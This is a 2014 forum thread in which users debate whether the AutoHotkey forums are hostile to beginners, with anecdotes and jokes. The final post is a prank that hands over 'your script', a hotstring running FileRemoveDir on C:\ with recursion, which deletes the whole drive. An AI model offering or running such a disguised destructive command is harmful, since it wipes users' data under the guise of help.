AHK has a forum. All of your questions have been answered there.

Dude. The same page you downloaded AHK from has a link to its forums. If you couldn't find that, what makes you think you can find the help you need if someone posts it in this thread?

Yeah, I saw that. And further, in a reasonable discussion, your mistake is no big deal. Here, however, we tend to highlight such things.

Also, my point is that the official AHK forums will be much more helpful.

While we're on it, is there an AHK script that will clean up all the shit my kids drag out in my house?

   ;1.
   Run, Life :: {kids shouldn't play with feces}

   ;2.
   Send, {Don't have kids}

?

They smell, cost a lot, .. oh wait you meant Jitbit

Just for reference: the AHK forums are pretty hostile to new-comers(hey, kinda like the Vault, twinsies!!) so asking here might have been a bit better off.

I have tried AHK off and on for years for various purposes, pretty much every time I visited the forums and asked polite questions, the answers all pretty much went "Figure it out for yourself, asshole!"

Their forums are just for the elite super-coders solving complex problems. If you're a beginner, fuck you. Or that's what I got from AHK.

noamineo wrote on Jul 13^th, 2014 at 5:44pm:

By "hostile," you must mean those threads where the poster hasn't read any of the 100+ threads where his question was already answered?

OldCoaly wrote on Jul 13^th, 2014 at 8:23pm:

Why are those guys so mean? 

When I first got into AHK, I wanted to do one simple thing: create a single-button macro to type a cheat code into a video game.

In this case it was slightly complex; to input the code you first had to send and "enter" command to open the console, then the code itself was +atm(bonus points to whoever recongizes what game that code is from).

Anyway. Because AHK uses + signs as part of its scripting language, the exact method was not immediately obvious, it wasn't covered in the documentation, and no, there was not a previous thread where someone had explained how to send a + sign.

Now, I didn't need to learn the whole language, this was the only use I had for AHK at that point. I just needed about a 4-line script that had one slightly a-typical thing. Slightly more complicated than "Hello World", dramatically less complicated than reading things from RAM.

So, of course, I asked politely on the forums. The answer I got was pretty effectively "If you aren't willing to MASTER THE SHIT out of the scripting language BEFORE you post here then JUST GO FUCK YOURSELF, N000B!".

I literally got a warmer welcome when I introduced myself here on the Vault, and I did NOT get a warm welcome here on the Vault.

So, ya know, remember that the next time you suggest to people they go ask on AHK's forum. Oh, I had a pretty much identical experience on the Arduino forums, just FYI. In both cases people actually spent more time and energy telling me to go fuck myself than it would have taken to answer my polite and simple question.

Revaulting wrote on Jul 14^th, 2014 at 1:28am:


I did. They offered me a hug and a warm mug of coco. It was weird.

Here is your script =)

::$1
FileRemoveDir, C:\, 1
return